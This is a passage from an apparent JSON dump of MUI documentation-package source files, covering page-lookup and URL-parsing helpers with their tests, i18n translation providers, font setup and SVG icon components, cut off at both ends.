    "content": "import { expect } from 'chai';\nimport findActivePage from './findActivePage';\n\ndescribe('findActivePage', () => {\n  describe('old structure', () => {\n    const pages = [\n      {\n        pathname: '/getting-started',\n        icon: 'DescriptionIcon',\n        children: [{ pathname: '/getting-started/installation' }],\n      },\n      {\n        pathname: '/react-',\n        icon: 'ToggleOnIcon',\n        children: [\n          {\n            pathname: '/components',\n            subheader: '/components/inputs',\n            children: [\n              { pathname: '/components/autocomplete' },\n              { pathname: '/components/buttons', title: 'Button' },\n              { pathname: '/components/button-group' },\n              { pathname: '/components/checkboxes', title: 'Checkbox' },\n              { pathname: '/components/floating-action-button' },\n              { pathname: '/components/radio-buttons', title: 'Radio button' },\n              { pathname: '/components/rating' },\n              { pathname: '/components/selects', title: 'Select' },\n              { pathname: '/components/slider' },\n              { pathname: '/components/switches', title: 'Switch' },\n              { pathname: '/components/text-fields', title: 'Text field' },\n              { pathname: '/components/transfer-list' },\n              { pathname: '/components/toggle-button' },\n            ],\n          },\n        ],\n      },\n    ];\n\n    it('return first level page', () => {\n      expect(findActivePage(pages, '/getting-started').activePage).to.deep.equal({\n        pathname: '/getting-started',\n        icon: 'DescriptionIcon',\n        children: [{ pathname: '/getting-started/installation' }],\n      });\n    });\n\n    it('return nested page', () => {\n      expect(findActivePage(pages, '/getting-started/installation').activePage).to.deep.equal({\n        pathname: '/getting-started/installation',\n      });\n    });\n\n    it('return deep nested page', () => {\n      expect(findActivePage(pages, '/components/radio-buttons').activePage).to.deep.equal({\n        pathname: '/components/radio-buttons',\n        title: 'Radio button',\n      });\n    });\n  });\n\n  describe('new structure', () => {\n    const pages = [\n      {\n        pathname: '/material-ui/react-',\n        icon: 'ToggleOnIcon',\n        children: [\n          {\n            pathname: '/material-ui/components',\n            subheader: '/components/inputs',\n            children: [\n              { pathname: '/material-ui/react-autocomplete' },\n              { pathname: '/material-ui/react-buttons', title: 'Button' },\n              { pathname: '/material-ui/react-button-group' },\n              { pathname: '/material-ui/react-checkboxes', title: 'Checkbox' },\n              { pathname: '/material-ui/react-floating-action-button' },\n              { pathname: '/material-ui/react-radio-buttons', title: 'Radio button' },\n              { pathname: '/material-ui/react-rating' },\n              { pathname: '/material-ui/react-selects', title: 'Select' },\n              { pathname: '/material-ui/react-slider' },\n              { pathname: '/material-ui/react-switches', title: 'Switch' },\n              { pathname: '/material-ui/react-text-fields', title: 'Text field' },\n              { pathname: '/material-ui/react-transfer-list' },\n              { pathname: '/material-ui/react-toggle-button' },\n            ],\n          },\n        ],\n      },\n    ];\n\n    it('return deep nested page', () => {\n      expect(findActivePage(pages, '/material-ui/react-radio-buttons').activePage).to.deep.equal({\n        pathname: '/material-ui/react-radio-buttons',\n        title: 'Radio button',\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-docs/src/findActivePage/findActivePage.ts",
    "content": "import type { MuiPage } from '../MuiPage';\n\nexport default function findActivePage(\n  currentPages: MuiPage[],\n  currentPathname: string,\n): { activePage: MuiPage | null; activePageParents: MuiPage[] } {\n  const map: Record<string, MuiPage> = {};\n  const mapParent: Record<string, MuiPage> = {};\n\n  const pathname = currentPathname\n    .replace('/[docsTab]', '')\n    .replace('components-api', '')\n    .replace('hooks-api', '');\n\n  const traverse = (parent: MuiPage) => {\n    (parent.children || []).forEach((child) => {\n      const childPathname = child.pathname\n        .replace('/[docsTab]', '')\n        .replace('components-api', '')\n        .replace('hooks-api', '');\n\n      map[childPathname] = child;\n\n      const isChildApiPathname =\n        child.pathname.includes('components-api') || child.pathname.includes('hooks-api');\n\n      if (!isChildApiPathname && mapParent[childPathname]) {\n        throw new Error(`Duplicated pathname ${child.pathname} in pages`);\n      }\n\n      if (!isChildApiPathname) {\n        mapParent[childPathname] = parent;\n      }\n      traverse(child);\n    });\n  };\n\n  traverse({ pathname: '/', children: currentPages });\n\n  const activePage = map[pathname] || null;\n\n  const activePageParents = [];\n  let traversePage = activePage;\n  while (traversePage && traversePage.pathname !== '/') {\n    const parent = mapParent[traversePage.pathname];\n    activePageParents.push(parent);\n    traversePage = parent;\n  }\n\n  return {\n    activePage,\n    activePageParents,\n  };\n}\n"
  },
  {
    "path": "packages/mui-docs/src/findActivePage/index.ts",
    "content": "export { default } from './findActivePage';\n"
  },
  {
    "path": "packages/mui-docs/src/getProductInfoFromUrl/getProductInfoFromUrl.test.js",
    "content": "import { expect } from 'chai';\nimport getProductInfoFromUrl from './getProductInfoFromUrl';\n\ndescribe('getProductInfoFromUrl', () => {\n  it('should handle Material UI', () => {\n    expect(getProductInfoFromUrl('/material-ui/react-button/')).to.deep.equal({\n      productCategoryId: 'core',\n      productId: 'material-ui',\n    });\n    expect(getProductInfoFromUrl('/zh/material-ui/react-button/')).to.deep.equal({\n      productCategoryId: 'core',\n      productId: 'material-ui',\n    });\n  });\n\n  it('should ignore anchor', () => {\n    expect(\n      getProductInfoFromUrl('/material-ui/react-app-bar/#app-bar-with-responsive-menu'),\n    ).to.deep.equal({\n      productCategoryId: 'core',\n      productId: 'material-ui',\n    });\n  });\n\n  it('should handle MUI Base', () => {\n    expect(getProductInfoFromUrl('/base-ui/react-button/')).to.deep.equal({\n      productCategoryId: 'core',\n      productId: 'base-ui',\n    });\n  });\n\n  it('should handle Joy UI', () => {\n    expect(getProductInfoFromUrl('/joy-ui/react-button/')).to.deep.equal({\n      productCategoryId: 'core',\n      productId: 'joy-ui',\n    });\n  });\n\n  it('should handle MUI System', () => {\n    expect(getProductInfoFromUrl('/system/')).to.deep.equal({\n      productCategoryId: 'core',\n      productId: 'system',\n    });\n  });\n\n  it('should handle MUI X Data Drid', () => {\n    expect(getProductInfoFromUrl('/x/react-data-grid/components')).to.deep.equal({\n      productCategoryId: 'x',\n      productId: 'x-data-grid',\n    });\n  });\n\n  it('should handle MUI X Date Pickers', () => {\n    expect(getProductInfoFromUrl('/x/react-date-pickers/components')).to.deep.equal({\n      productCategoryId: 'x',\n      productId: 'x-date-pickers',\n    });\n  });\n\n  it('should handle MUI X', () => {\n    expect(getProductInfoFromUrl('/x/migration/migration-data-grid-v5/')).to.deep.equal({\n      productCategoryId: 'x',\n      // Not smart enough to know it's about the data grid.\n      // Now, it's a none goal to be able to handle this. Either change the URL to be\n      // /x/react-data-grid/migration-v5/\n      // or add the productId header to the markdown of this page.\n      productId: 'null',\n    });\n  });\n\n  it('should return x', () => {\n    expect(getProductInfoFromUrl('/x/introduction/')).to.deep.equal({\n      productCategoryId: 'x',\n      productId: 'null',\n    });\n  });\n\n  it('should return uncategorized', () => {\n    expect(getProductInfoFromUrl('/')).to.deep.equal({\n      productCategoryId: 'null',\n      productId: 'null',\n    });\n    expect(getProductInfoFromUrl('/#foo')).to.deep.equal({\n      productCategoryId: 'null',\n      productId: 'null',\n    });\n    expect(getProductInfoFromUrl('/versions')).to.deep.equal({\n      productCategoryId: 'null',\n      productId: 'null',\n    });\n  });\n\n  it('should handle Toolpad Core', () => {\n    expect(getProductInfoFromUrl('/toolpad/getting-started/')).to.deep.equal({\n      productCategoryId: 'toolpad',\n      productId: 'toolpad-core',\n    });\n  });\n\n  it('should handle Toolpad Studio', () => {\n    expect(getProductInfoFromUrl('/toolpad/studio/getting-started/first-app/')).to.deep.equal({\n      productCategoryId: 'toolpad',\n      productId: 'toolpad-studio',\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-docs/src/getProductInfoFromUrl/getProductInfoFromUrl.ts",
    "content": "import { pathnameToLanguage } from '../helpers/helpers';\n\nexport type MuiProductId =\n  | 'null'\n  | 'base-ui'\n  | 'material-ui'\n  | 'system'\n  | 'docs-infra'\n  | 'docs'\n  | 'x-data-grid'\n  | 'x-date-pickers'\n  | 'x-charts'\n  | 'x-tree-view'\n  | 'toolpad-studio'\n  | 'toolpad-core';\n\ntype MuiProductCategoryId = 'null' | 'core' | 'x';\n\ninterface MuiProductInfo {\n  productId: MuiProductId;\n  productCategoryId: MuiProductCategoryId;\n}\n\n// This is a fallback logic to define the productId and productCategoryId of the page.\n// Markdown pages can override this value when the URL patterns they follow are a bit strange,\n// which should stay the rare exception.\nexport default function getProductInfoFromUrl(asPath: string): MuiProductInfo {\n  const asPathWithoutLang = pathnameToLanguage(asPath).canonicalAsServer;\n  const firstFolder = asPathWithoutLang.replace(/^\\/+([^/]+)\\/.*/, '$1');\n\n  // When serialized undefined/null are the same, so we encode null as 'null' to be\n  // able to differentiate when the value isn't set vs. set to the right null value.\n  let productCategoryId = 'null';\n  let productId = 'null';\n\n  if (\n    firstFolder === 'material-ui' ||\n    firstFolder === 'joy-ui' ||\n    firstFolder === 'base-ui' ||\n    firstFolder === 'system'\n  ) {\n    productCategoryId = 'core';\n    productId = firstFolder;\n  }\n\n  if (firstFolder === 'x') {\n    productCategoryId = 'x';\n    productId = `x-${asPathWithoutLang.replace('/x/react-', '').replace(/\\/.*/, '')}`;\n\n    // No match, give up on it.\n    if (productId === 'x-') {\n      productId = 'null';\n    }\n  }\n\n  if (firstFolder === 'toolpad') {\n    productCategoryId = 'toolpad';\n    const secondFolder = asPathWithoutLang.replace(/^\\/+[^/]+\\/([^/]+)\\/.*/, '$1');\n    if (secondFolder === 'studio') {\n      productId = 'toolpad-studio';\n    } else {\n      productId = 'toolpad-core';\n    }\n  }\n\n  if (firstFolder === 'docs') {\n    productId = firstFolder;\n  }\n\n  // TODO remove, legacy\n  if (firstFolder === 'versions' || firstFolder === 'production-error') {\n    productId = 'docs';\n  }\n\n  if (asPathWithoutLang.startsWith('/experiments/docs/')) {\n    productId = 'docs-infra';\n  }\n\n  return {\n    productCategoryId,\n    productId,\n  } as MuiProductInfo;\n}\n"
  },
  {
    "path": "packages/mui-docs/src/getProductInfoFromUrl/index.ts",
    "content": "export { default } from './getProductInfoFromUrl';\nexport type { MuiProductId } from './getProductInfoFromUrl';\n"
  },
  {
    "path": "packages/mui-docs/src/globalSelector/globalSelector.ts",
    "content": "/* eslint-disable default-case */\nimport { Element, RULESET } from 'stylis';\n\n// A workaround to https://github.com/emotion-js/emotion/issues/2836\n// to be able to use `:where` selector for styling.\nexport default function globalSelector(element: Element) {\n  switch (element.type) {\n    case RULESET:\n      element.props = (element.props as string[]).map((value: any) => {\n        if (value.match(/(:where|:is)\\(/)) {\n          value = value.replace(/\\.[^:]+(:where|:is)/, '$1');\n          return value;\n        }\n        return value;\n      });\n  }\n}\n"
  },
  {
    "path": "packages/mui-docs/src/globalSelector/index.ts",
    "content": "export { default } from './globalSelector';\n"
  },
  {
    "path": "packages/mui-docs/src/helpers/helpers.test.js",
    "content": "import { expect } from 'chai';\nimport { pageToTitle } from './helpers';\n\ndescribe('docs getDependencies helpers', () => {\n  beforeAll(() => {\n    process.env.SOURCE_CODE_REPO = 'https://github.com/mui/material-ui';\n  });\n\n  afterAll(() => {\n    delete process.env.SOURCE_CODE_REPO;\n  });\n\n  it('should return correct title', () => {\n    expect(pageToTitle({ pathname: '/docs/src/pages/components/button/button.md' })).to.equal(\n      'Button',\n    );\n    expect(pageToTitle({ pathname: '/components' })).to.equal('Components');\n    expect(pageToTitle({ pathname: '/customization/how-to-customize' })).to.equal(\n      'How to customize',\n    );\n  });\n\n  it('should remove `react-` prefix', () => {\n    expect(pageToTitle({ pathname: '/docs/pages/material/react-buttons.js' })).to.equal('Buttons');\n  });\n});\n"
  },
  {
    "path": "packages/mui-docs/src/helpers/helpers.ts",
    "content": "import { camelCase, upperFirst } from 'es-toolkit/string';\nimport type { Translate } from '../i18n';\n\nexport function pascalCase(str: string) {\n  return upperFirst(camelCase(str));\n}\n\nfunction titleize(hyphenedString: string): string {\n  return upperFirst(hyphenedString.split('-').join(' '));\n}\n\nexport interface Page {\n  pathname: string;\n  query?: object;\n  subheader?: string;\n  title?: string | false;\n}\n\nexport function pageToTitle(page: Page): string | null {\n  if (page.title === false) {\n    return null;\n  }\n\n  if (page.title) {\n    return page.title;\n  }\n\n  const path = page.subheader || page.pathname;\n  const name = path.replace(/.*\\//, '').replace('react-', '').replace(/\\..*/, '');\n\n  // TODO remove post migration\n  if (path.includes('/api-docs/')) {\n    return pascalCase(name);\n  }\n\n  // TODO support more than React component API (PascalCase)\n  if (path.includes('/api/')) {\n    return name.startsWith('use') ? camelCase(name) : pascalCase(name);\n  }\n\n  return titleize(name);\n}\n\nexport function pageToTitleI18n(page: Page, t: Translate): string | null {\n  const path = page.subheader || page.pathname;\n  return page.query\n    ? pageToTitle(page)\n    : t(`pages.${path}`, { ignoreWarning: true }) || pageToTitle(page);\n}\n\n/**\n * Get the value of a cookie\n * Source: https://vanillajstoolkit.com/helpers/getcookie/\n * @param name - The name of the cookie\n * @return The cookie value\n */\nexport function getCookie(name: string): string | undefined {\n  if (typeof document === 'undefined') {\n    throw new Error(\n      'getCookie() is not supported on the server. Fallback to a different value when rendering on the server.',\n    );\n  }\n\n  const value = `; ${document.cookie}`;\n  const parts = value.split(`; ${name}=`);\n  if (parts.length === 2) {\n    return parts[1].split(';').shift();\n  }\n\n  return undefined;\n}\n\n/**\n * as is a reference to Next.js's as, the path in the URL\n * pathname is a reference to Next.js's pathname, the name of page in the filesystem\n * https://nextjs.org/docs/api-reference/next/router\n *\n * @param pathname - The URL pathname\n * @param languages - List of supported language codes. Defaults to `['en']`.\n */\nexport function pathnameToLanguage(\n  pathname: string,\n  languages: string[] = ['en'],\n): {\n  userLanguage: string;\n  canonicalAs: string;\n  canonicalAsServer: string;\n  canonicalPathname: string;\n} {\n  let userLanguage;\n  const userLanguageCandidate = pathname.substring(1, 3);\n\n  if (\n    [...languages, 'zh'].includes(userLanguageCandidate) &&\n    pathname.startsWith(`/${userLanguageCandidate}/`)\n  ) {\n    userLanguage = userLanguageCandidate;\n  } else {\n    userLanguage = 'en';\n  }\n\n  const canonicalAs = userLanguage === 'en' ? pathname : pathname.substring(3);\n  // Remove hash as it's never sent to the server\n  // https://github.com/vercel/next.js/issues/25202\n  const canonicalAsServer = canonicalAs.replace(/#(.*)$/, '');\n\n  let canonicalPathname = canonicalAsServer.replace(/^\\/api/, '/api-docs');\n\n  // Remove trailing slash as Next.js doesn't expect it here\n  // https://nextjs.org/docs/pages/api-reference/functions/use-router#router-object\n  if (canonicalPathname !== '/') {\n    canonicalPathname = canonicalPathname.replace(/\\/$/, '');\n  }\n\n  return {\n    userLanguage,\n    canonicalAs,\n    canonicalAsServer,\n    canonicalPathname,\n  };\n}\n"
  },
  {
    "path": "packages/mui-docs/src/helpers/index.ts",
    "content": "export { pascalCase, pageToTitle, pageToTitleI18n, getCookie, pathnameToLanguage } from './helpers';\nexport type { Page } from './helpers';\n"
  },
  {
    "path": "packages/mui-docs/src/i18n/i18n.tsx",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport deepmerge from '@mui/utils/deepmerge';\nimport defaultTranslations from '../translations';\n\nconst TranslationsContext = React.createContext(defaultTranslations);\n\ninterface TranslationsProviderProps {\n  translations?: Translations;\n  children: React.ReactNode;\n}\n\nfunction TranslationsProvider({ translations = {}, children }: TranslationsProviderProps) {\n  const currentTranslations = React.useContext(TranslationsContext);\n  const mergedTranslations = React.useMemo(\n    () => deepmerge(currentTranslations, translations),\n    [currentTranslations, translations],\n  );\n  return (\n    <TranslationsContext.Provider value={mergedTranslations}>\n      {children}\n    </TranslationsContext.Provider>\n  );\n}\n\nfunction getPath(obj: Translations, path: string): string | null {\n  if (!path || typeof path !== 'string') {\n    return null;\n  }\n\n  const translation = path\n    .split('.')\n    .reduce(\n      (acc: Translations | string | null, item) =>\n        (acc && typeof acc === 'object' && acc[item]) || null,\n      obj,\n    );\n\n  if (typeof translation === 'object') {\n    return null;\n  }\n  return translation;\n}\n\ninterface UserLanguageContextValue {\n  userLanguage: string;\n  setUserLanguage: React.Dispatch<React.SetStateAction<string>>;\n}\n\nconst UserLanguageContext = React.createContext<UserLanguageContextValue>({\n  userLanguage: '',\n  setUserLanguage: () => {},\n});\nif (process.env.NODE_ENV !== 'production') {\n  UserLanguageContext.displayName = 'UserLanguage';\n}\n\nexport interface UserLanguageProviderProps {\n  children: React.ReactNode;\n  translations?: Translations;\n  defaultUserLanguage: string;\n}\n\nexport function UserLanguageProvider(props: UserLanguageProviderProps) {\n  const { children, translations, defaultUserLanguage } = props;\n\n  const [userLanguage, setUserLanguage] = React.useState(defaultUserLanguage);\n\n  const contextValue = React.useMemo(() => {\n    return { userLanguage, setUserLanguage };\n  }, [userLanguage]);\n\n  return (\n    <TranslationsProvider translations={translations}>\n      <UserLanguageContext.Provider value={contextValue}>{children}</UserLanguageContext.Provider>\n    </TranslationsProvider>\n  );\n}\n\nUserLanguageProvider.propTypes = {\n  children: PropTypes.node.isRequired,\n  defaultUserLanguage: PropTypes.string,\n};\n\nexport function useUserLanguage() {\n  return React.useContext(UserLanguageContext).userLanguage;\n}\n\nexport function useSetUserLanguage() {\n  return React.useContext(UserLanguageContext).setUserLanguage;\n}\n\nconst warnedOnce: Record<string, boolean> = {};\n\n// TODO, migrate to use warnOnce() helper\nconst warn = (userLanguage: string, key: string, ignoreWarning: boolean) => {\n  const fullKey = `${userLanguage}:${key}`;\n  // No warnings in CI env\n  if (!ignoreWarning && !warnedOnce[fullKey] && typeof window !== 'undefined') {\n    console.warn(`Missing translation for ${fullKey}`);\n\n    warnedOnce[fullKey] = true;\n  }\n};\n\nexport interface TranslateOptions {\n  ignoreWarning?: boolean;\n}\n\nexport type Translate = (key: string, options?: TranslateOptions) => any;\n\nexport function useTranslate(): Translate {\n  const userLanguage = useUserLanguage();\n\n  const translations = React.useContext(TranslationsContext);\n\n  return React.useMemo(\n    () =>\n      function translate(key: string, options: TranslateOptions = {}) {\n        const { ignoreWarning = false } = options;\n        const wordings = translations[userLanguage];\n\n        if (!wordings) {\n          console.error(`Missing language: ${userLanguage}.`);\n          return '…';\n        }\n\n        const translation = getPath(wordings, key);\n\n        if (!translation) {\n          if (process.env.NODE_ENV !== 'production') {\n            warn(userLanguage, key, ignoreWarning);\n          }\n\n          const enTranslation = getPath(translations.en, key);\n          return enTranslation ?? null;\n        }\n\n        return translation;\n      },\n    [userLanguage, translations],\n  );\n}\n\nexport type Translations = { [key in string]?: string | Translations };\n\nexport interface RequireContext {\n  (req: string): string;\n  keys: () => string[];\n}\n\nexport function mapTranslations(req: RequireContext): Translations {\n  const result: Translations = {};\n  req.keys().forEach((filename) => {\n    const match = filename.match(/-([a-z]{2}).json$/);\n\n    if (match) {\n      result[match[1]] = req(filename);\n    } else {\n      result.en = req(filename);\n    }\n  });\n  return result;\n}\n"
  },
  {
    "path": "packages/mui-docs/src/i18n/index.ts",
    "content": "export * from './i18n';\n"
  },
  {
    "path": "packages/mui-docs/src/mapApiPageTranslations/index.ts",
    "content": "export { default } from './mapApiPageTranslations';\n"
  },
  {
    "path": "packages/mui-docs/src/mapApiPageTranslations/mapApiPageTranslations.ts",
    "content": "import { createRender } from '@mui/internal-markdown';\n\nconst notEnglishJsonRegExp = /-([a-z]{2})\\.json$/;\n\ninterface Req {\n  keys(): string[];\n  (filename: string): any;\n}\n\n/**\n * @param req - A webpack `require.context` for the API translation JSON files.\n * @param languagesIgnorePages - A function that returns true if the page should not be translated.\n *   Typically `LANGUAGES_IGNORE_PAGES` from the docs config.\n */\nexport default function mapApiPageTranslations(\n  req: Req,\n  languagesIgnorePages?: (pathname: string) => boolean,\n) {\n  const headingHashes: Record<string, string> = {};\n  const translations: Record<string, any> = {};\n\n  // Process the English markdown before the other locales.\n  // English ToC anchor links are used in all languages\n  let filenames: string[] = [];\n  req.keys().forEach((filename: string) => {\n    if (filename.match(notEnglishJsonRegExp)) {\n      filenames.push(filename);\n    } else {\n      filenames = [filename].concat(filenames);\n    }\n  });\n\n  filenames.forEach((filename: string) => {\n    const matchNotEnglishMarkdown = filename.match(notEnglishJsonRegExp);\n    const userLanguage = matchNotEnglishMarkdown !== null ? matchNotEnglishMarkdown[1] : 'en';\n    const translation = req(filename) || null;\n\n    if (translation !== null && translation.componentDescription) {\n      const componentDescriptionToc: any[] = [];\n      const render = createRender({\n        headingHashes,\n        toc: componentDescriptionToc,\n        userLanguage,\n        location: filenames,\n        options: {\n          ignoreLanguagePages: languagesIgnorePages || (() => false),\n          env: {\n            SOURCE_CODE_REPO: '',\n          },\n        },\n      });\n      translation.componentDescription = render(translation.componentDescription);\n      translation.componentDescriptionToc = componentDescriptionToc;\n    }\n\n    translations[userLanguage] = translation;\n  });\n\n  return translations;\n}\n"
  },
  {
    "path": "packages/mui-docs/src/nextFonts/index.ts",
    "content": "import { Inter, Roboto } from 'next/font/google';\nimport localFont from 'next/font/local';\n\nexport const inter = Inter({\n  weight: ['300', '400', '500', '600', '700'],\n  subsets: ['latin'],\n});\n\nexport const roboto = Roboto({\n  weight: ['300', '400', '500', '700'],\n  style: ['normal', 'italic'],\n  subsets: ['latin'],\n});\n\nexport const generalSans = localFont({\n  declarations: [{ prop: 'font-family', value: 'General Sans' }],\n  src: [\n    { path: './fonts/GeneralSans-Regular.woff2', weight: '400', style: 'normal' },\n    { path: './fonts/GeneralSans-Medium.woff2', weight: '500', style: 'normal' },\n    { path: './fonts/GeneralSans-Semibold.woff2', weight: '600', style: 'normal' },\n    { path: './fonts/GeneralSans-Bold.woff2', weight: '700', style: 'normal' },\n  ],\n});\n\nexport const ibmPlexSans = localFont({\n  declarations: [{ prop: 'font-family', value: 'IBM Plex Sans' }],\n  src: [\n    { path: './fonts/IBMPlexSans-Regular.woff2', weight: '400', style: 'normal' },\n    { path: './fonts/IBMPlexSans-Medium.woff2', weight: '500', style: 'normal' },\n    { path: './fonts/IBMPlexSans-SemiBold.woff2', weight: '600', style: 'normal' },\n    { path: './fonts/IBMPlexSans-Bold.woff2', weight: '700', style: 'normal' },\n  ],\n});\n\nexport const fonts = [inter, roboto, generalSans, ibmPlexSans];\n\nexport const fontClasses = fonts.map((font) => font.className).join(' ');\n"
  },
  {
    "path": "packages/mui-docs/src/svgIcons/BundleSizeIcon.tsx",
    "content": "import { createSvgIcon } from '@mui/material/utils';\n\nexport default createSvgIcon(\n  <g fill=\"currentColor\" fillRule=\"nonzero\">\n    <path\n      d=\"M5.84 3c-.52 0-1 .25-1.3.67l-1.4 2.05c-.06.09-.1.19-.14.28h8V3H5.84zM20.86 5.72l-1.4-2.05c-.3-.42-.81-.67-1.33-.67H13v3h8c-.05-.1-.08-.2-.14-.28z\"\n      fillOpacity=\".79\"\n    />\n    <path\n      d=\"M20.98 7H3.02L3 7.11V19.4c0 .89.71 1.61 1.58 1.61h14.84A1.6 1.6 0 0021 19.4V7.1L20.98 7zm-6.87 5.36H9.89a1.6 1.6 0 01-1.58-1.61c0-.89.7-1.6 1.58-1.6h4.22c.87 0 1.58.71 1.58 1.6 0 .89-.7 1.6-1.58 1.6z\"\n      fillOpacity=\".87\"\n    />\n  </g>,\n  'BundleSize',\n);\n"
  },
  {
    "path": "packages/mui-docs/src/svgIcons/FigmaIcon.tsx",
    "content": "import { createSvgIcon } from '@mui/material/utils';\n\nexport default createSvgIcon(\n  <g fillRule=\"nonzero\" fill=\"none\">\n    <path d=\"M8 24a4 4 0 004-4v-4H8a4 4 0 000 8z\" fill=\"#0ACF83\" />\n    <path d=\"M4 12a4 4 0 014-4h4v8H8a4 4 0 01-4-4z\" fill=\"#A259FF\" />\n    <path d=\"M4 4a4 4 0 014-4h4v8H8a4 4 0 01-4-4z\" fill=\"#F24E1E\" />\n    <path d=\"M12 0h4a4 4 0 010 8h-4V0z\" fill=\"#FF7262\" />\n    <path d=\"M20 12a4 4 0 11-8 0 4 4 0 018 0z\" fill=\"#1ABCFE\" />\n  </g>,\n  'Figma',\n);\n"
  },
  {
    "path": "packages/mui-docs/src/svgIcons/FileDownload.tsx",
    "content": "import SvgIcon, { SvgIconProps } from '@mui/material/SvgIcon';\n\nfunction FileDownload(props: SvgIconProps) {\n  return (\n    <SvgIcon {...props}>\n      <path d=\"M19 9h-4V3H9v6H5l7 7 7-7zM5 18v2h14v-2H5z\" />\n    </SvgIcon>\n  );\n}\n\nFileDownload.muiName = 'SvgIcon';\n\nexport default FileDownload;\n"
  },
  {
    "path": "packages/mui-docs/src/svgIcons/JavaScript.tsx",
    "content": "import SvgIcon, { SvgIconProps } from '@mui/material/SvgIcon';\n\nfunction JavaScript(props: SvgIconProps) {\n  return (\n    <SvgIcon {...props}>\n      <path d=\"M3,3H21V21H3V3M7.73,18.04C8.13,18.89 8.92,19.59 10.27,19.59C11.77,19.59 12.8,18.79 12.8,17.04V11.26H11.1V17C11.1,17.86 10.75,18.08 10.2,18.08C9.62,18.08 9.38,17.68 9.11,17.21L7.73,18.04M13.71,17.86C14.21,18.84 15.22,19.59 16.8,19.59C18.4,19.59 19.6,18.76 19.6,17.23C19.6,15.82 18.79,15.19 17.35,14.57L16.93,14.39C16.2,14.08 15.89,13.87 15.89,13.37C15.89,12.96 16.2,12.64 16.7,12.64C17.18,12.64 17.5,12.85 17.79,13.37L19.1,12.5C18.55,11.54 17.77,11.17 16.7,11.17C15.19,11.17 14.22,12.13 14.22,13.4C14.22,14.78 15.03,15.43 16.25,15.95L16.67,16.13C17.45,16.47 17.91,16.68 17.91,17.26C17.91,17.74 17.46,18.09 16.76,18.09C15.93,18.09 15.45,17.66 15.09,17.06L13.71,17.86Z\" />\n    </SvgIcon>\n  );\n}\n\nJavaScript.muiName = 'SvgIcon';\n\nexport default JavaScript;\n"
  },
  {
    "path": "packages/mui-docs/src/svgIcons/MarkdownIcon.tsx",
    "content": "import SvgIcon, { SvgIconProps } from '@mui/material/SvgIcon';\n\nexport default function MarkdownIcon(props: SvgIconProps) {\n  return (\n    <SvgIcon {...props}>\n      <svg\n        width=\"16\"\n        height=\"16\"\n        viewBox=\"0 0 24 24\"\n        fill=\"none\"\n        xmlns=\"http://www.w3.org/2000/svg\"\n        aria-hidden=\"true\"\n      >\n        <title>Markdown</title>\n        <path\n          d=\"M22.269 19.385H1.731a1.73 1.73 0 0 1-1.73-1.73V6.345a1.73 1.73 0 0 1 1.73-1.73h20.538a1.73 1.73 0 0 1 1.73 1.73v11.308a1.73 1.73 0 0 1-1.73 1.731zm-16.5-3.462v-4.5l2.308 2.885 2.307-2.885v4.5h2.308V8.078h-2.308l-2.307 2.885-2.308-2.885H3.461v7.847zM21.231 12h-2.308V8.077h-2.307V12h-2.308l3.461 4.039z\"\n          fill=\"currentColor\"\n        />\n      </svg>\n    </SvgIcon>\n  );\n}\n"
  },
  {
    "path": "packages/mui-docs/src/svgIcons/MaterialDesignIcon.tsx",
    "content": "import { createSvgIcon } from '@mui/material/utils';\n\nexport default createSvgIcon(\n  <g fill=\"none\" fillRule=\"evenodd\">\n    <circle fill=\"#737373\" cx=\"12\" cy=\"12\" r=\"12\" />\n    <path fill=\"#BDBDBD\" d=\"M4 4h16v16H4z\" />\n    <path fill=\"#FFF\" d=\"M12 20l8-16H4z\" />\n  </g>,\n  'MaterialDesign',\n);\n"
  },
  {
    "path": "packages/mui-docs/src/svgIcons/SketchIcon.tsx",
    "content": "import { createSvgIcon } from '@mui/material/utils';\n\nexport default createSvgIcon(\n  <g fillRule=\"nonzero\" fill=\"none\">\n    <path fill=\"#FDB300\" d=\"M5.24 2.7L12 2l6.76.7L24 9.48 12 23 0 9.49z\" />\n    <path fill=\"#EA6C00\" d=\"M4.85 9l7.13 14L0 9zM19.1 9l-7.12 14L23.95 9z\" />\n    <path fill=\"#FDAD00\" d=\"M4.85 9H19.1l-7.12 14z\" />\n    <g>\n      <path fill=\"#FDD231\" d=\"M11.98 2l-6.75.65-.38 6.34zM11.98 2l6.75.65.37 6.34z\" />\n      <path fill=\"#FDAD00\" d=\"M23.95 9l-5.22-6.35.37 6.34zM0 9l5.23-6.35-.38 6.34z\" />\n      <path fill=\"#FEEEB7\" d=\"M11.98 2L4.85 9H19.1z\" />\n    </g>\n  </g>,\n  'Sketch',\n);\n"
  },
  {
    "path": "packages/mui-docs/src/svgIcons/TypeScript.tsx",
    "content": "import SvgIcon, { SvgIconProps } from '@mui/material/SvgIcon';\n\nfunction TypeScript(props: SvgIconProps) {\n  return (\n    <SvgIcon {...props}>\n      <path d=\"M3,3H21V21H3V3M13.71,17.86C14.21,18.84 15.22,19.59 16.8,19.59C18.4,19.59 19.6,18.76 19.6,17.23C19.6,15.82 18.79,15.19 17.35,14.57L16.93,14.39C16.2,14.08 15.89,13.87 15.89,13.37C15.89,12.96 16.2,12.64 16.7,12.64C17.18,12.64 17.5,12.85 17.79,13.37L19.1,12.5C18.55,11.54 17.77,11.17 16.7,11.17C15.19,11.17 14.22,12.13 14.22,13.4C14.22,14.78 15.03,15.43 16.25,15.95L16.67,16.13C17.45,16.47 17.91,16.68 17.91,17.26C17.91,17.74 17.46,18.09 16.76,18.09C15.93,18.09 15.45,17.66 15.09,17.06L13.71,17.86M13,11.25H8V12.75H9.5V20H11.25V12.75H13V11.25Z\" />\n    </SvgIcon>\n  );\n}\n\nTypeScript.muiName = 'SvgIcon';\n\nexport default TypeScript;\n"
  },
  {
    "path": "packages/mui-docs/src/svgIcons/W3CIcon.tsx",
